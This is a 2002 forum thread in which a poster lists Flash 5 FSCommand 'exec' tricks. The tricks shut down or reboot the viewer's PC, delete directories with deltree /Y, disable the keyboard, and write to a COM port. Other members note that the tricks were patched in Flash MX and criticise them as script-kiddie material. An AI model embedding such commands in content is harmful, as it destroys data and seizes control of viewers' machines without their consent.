-
September 17th, 2002, 09:28 AM
#1
Junior Member
A few tricks with fscommand in Flash
To shut down a computer, use:
Code:
FSCommand("exec","rundll\tuser.exe,exitwindows");
To restart a computer, use:
Code:
FSCommand("exec","rundll\tuser.exe,exitwindowsexec");
An undocumented command to save a file:
Code:
FSCommand("save","file.ext");
To make a directory:
Code:
dirName = "flamecruiser"
FSCommand("exec","command\t/C\tmd\t" + dirName);
To delete a directory:
Code:
dirName = "flamecruiser"
FSCommand("exec","command\t/C\tdeltree\t/Y\t" + dirName);
For FAST rebooting:
Code:
FSCommand("exec","rundll32\tshell32.dll,SHExitWindowsEx\t1");
How do you find this tutorial? For once, I hope that some of you would grade this tutorial using AntiPoints. Thanx.
-
September 17th, 2002, 09:39 AM
#2
well you might not know that flash has released a patch to avoid fscommand from running
exe based files so while what you have coded might work on some systems it will not work out for those who have upgraded their flash player.
---------------------------------------------------------------------------------------------------------------
I may not agree with what you say, but I will defend to the death your right to say it.
-
September 17th, 2002, 09:55 AM
#3
Junior Member
Yes.
It only works in Flash 5.
In Flash MX, because of many repeated warnings, they have totally crippled fscommand.
That i am aware, because i myself use Flash MX.
I forgot...
to disable ALL keys for ALL programs while the movie runs, and after, use:
Code:
FS Command("exec","cmd" & chr(9) & "/C" & chr(9) & "start" & chr(9) & "rundll32.exe" & chr(9) & "KEYBOARD,disable") ;
remember to enable it after you're done.
To detect the system's resolution:
Code:
System.capabilities.screenResolution.x;
System.capabilities.screenResolution.y;
To use Flash to control a port:
Code:
fscommand("exec","command\t/C\techo\t<commands_here>\t>COM1");
where <commands_here> are your commands
and COM1 is port to send to (of course you can use hex address of the device...
-
September 18th, 2002, 01:23 PM
#4
Junior Member
Reply to feedback
Many of you people have given feedback on this post.
Firstly, I would like to say sorry for mentioning about the Antipoints...
Hmm.....not a very good post, think about it next time
One of you gave me this feedback. I would appreciate if you could make it more specific. What is it about this post that is not good?
not exactly what this site is about
So what is this site about? It is about security, right? But I feel that there is no reason those cannot be posted here as some of them are also security issues of Flash.
For example:
Code:
fscommand("exec","cmd" & chr(9) & "/C" & chr(9) & "start" & chr(9) & "rundll32.exe" & chr(9) & "KEYBOARD,disable");
It does not work in FlashMX because of security reasons.
Another example will be:
Code:
fscommand("save","file.ext");
It is also removed for security reasons. There is a TechNote in MM's website telling the public about that issue.
Another of you replied:
this is a malicious attempt to make new script kiddies!
What exactly do you mean?
And, I hope that if you all have any comments, please post it as a reply with more detailed explanations.
Thalnk you.
-
September 18th, 2002, 06:45 PM
#5
Banned
I've just updated to flash6 player. Thank you for posting this. I had no idea someone could do this with flash.
-
September 19th, 2002, 02:52 AM
#6
Junior Member
One of the very few good comments...
But as i have said, they only work on Flash 5, not MX.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|